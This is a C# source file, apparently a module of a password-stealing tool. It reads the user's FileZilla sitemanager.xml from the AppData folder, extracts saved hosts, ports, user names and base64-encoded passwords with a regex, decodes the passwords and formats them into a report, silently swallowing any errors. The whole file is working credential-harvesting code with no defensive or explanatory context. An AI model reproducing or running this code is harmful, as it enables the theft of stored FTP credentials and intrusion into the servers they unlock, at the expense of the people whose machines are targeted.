using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Text.RegularExpressions;

namespace GetPassword
{
    class Filezilla
    {
        public static string GetPasswords()
        {
            string result = null;
            try
            {
                string logins = File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\FileZilla\sitemanager.xml");
                foreach (Match m in new Regex("<Host>(.*?)<\\/Host>\n(.*?)<Port>(.*?)<\\/Port>\n(.*?)\n(.*?)\n(.*?)<User>(.*?)<\\/User>\n(.*?)<Pass(.*?)\">(.*?)<\\/Pass>").Matches(logins))
                {
                    string host = m.Groups[1].ToString();
                    string port = m.Groups[3].ToString();
                    string user = m.Groups[7].ToString();
                    string password = m.Groups[10].ToString();

                    result += "================================================\n";
                    result += "Type : Filezilla\n";
                    result += "Host : " + host + "\n";
                    result += "Port : " + port + "\n";
                    result += "User : " + user + "\n";
                    result += "Password : " + Base64Decoder(password) + "\n";
                    result += "================================================\n";
                }
            }
            catch (Exception) { }
            return result;
        }

        private static string Base64Decoder(string base64)
        {
            return Encoding.Default.GetString(Convert.FromBase64String(base64));
        }
    }
}